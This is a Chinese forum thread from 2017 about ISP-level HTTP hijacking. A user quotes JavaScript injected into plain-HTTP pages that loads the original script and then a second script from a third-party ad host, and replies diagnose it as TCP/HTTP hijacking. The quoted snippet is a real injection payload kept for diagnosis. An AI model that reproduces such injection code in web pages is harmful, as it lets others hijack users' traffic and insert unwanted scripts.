这是一个创建于 3014 天前的主题，其中的信息可能已经有所发展或是发生改变。
打开若干个 http 的网站会出现某一个 js 被替换，变成类似于这样的代码：
var _atn_obj_ = new Object; _atn_obj_.oldurl = 'http://lxbjs.baidu.com/newFloat/_l.js?siteid=11111111&bdclickid=&bdcbid=57adfa92-3452-413a-8587-6752de90f6fb&refer_domain=&ishttp=1&t=1509335407566&callback=_lxb_jsonp_j9dnbxzi_&cHVzaA=1509335497'; _atn_obj_.unified_url = 'http://kio.quanliyouxi.cn:2525/ad_unified_access?SP=ABys7Pg8zJysfJzczOzMqgzs7NycuDqN+xq87P0c/R0oPOg8vLz8zPz4POg87Kz8bMzMrLxsiDzsrPxszMysvGyM/JxsnJy8aDzs7Jzso='; window.setTimeout(function() { var a = document.createElement("script"); a.src = _atn_obj_.oldurl; document.getElementsByTagName("head")[0].appendChild(a); }, 0); window.setTimeout(function() { var a = document.createElement("script"); a.src = _atn_obj_.unified_url; document.getElementsByTagName("head")[0].appendChild(a); }, 0); oldurl 是原来某个 js 的 url 地址。
测试了多个网站，均有出现某个 js 被篡改。 https 站点则没有这个情况。
 | 1 miyuki 2017 年 10 月 30 日 via Android 如果排除本地恶意插件、病毒的话，是劫持，但方式不一定是 DNS，现在多数都是嗅探 TCP 劫持了 |
 | 2 yexm0 2017 年 10 月 30 日 via iPhone 同意，这是 tcp 劫持了。 |
 | 3 cye3s 2017 年 10 月 30 日 via Android http 劫持 |
 | 4 G900 2017 年 11 月 9 日 我这也是，拦截 CDN 的 jquery 文件，插入广告代码，这个垃圾 quanliyouxi.cn 域名。 公司名是「韶关市启慧信息技术有限公司」，韶关市启慧信息技术有限公司，韶关市 启慧 信息技术 有限公司 插入垃圾代码，电信广告，电信劫持，垃圾广告 |
 | 5 crist 2017 年 12 月 11 日 我也出现这个问题了，怎么办？ |
Select Language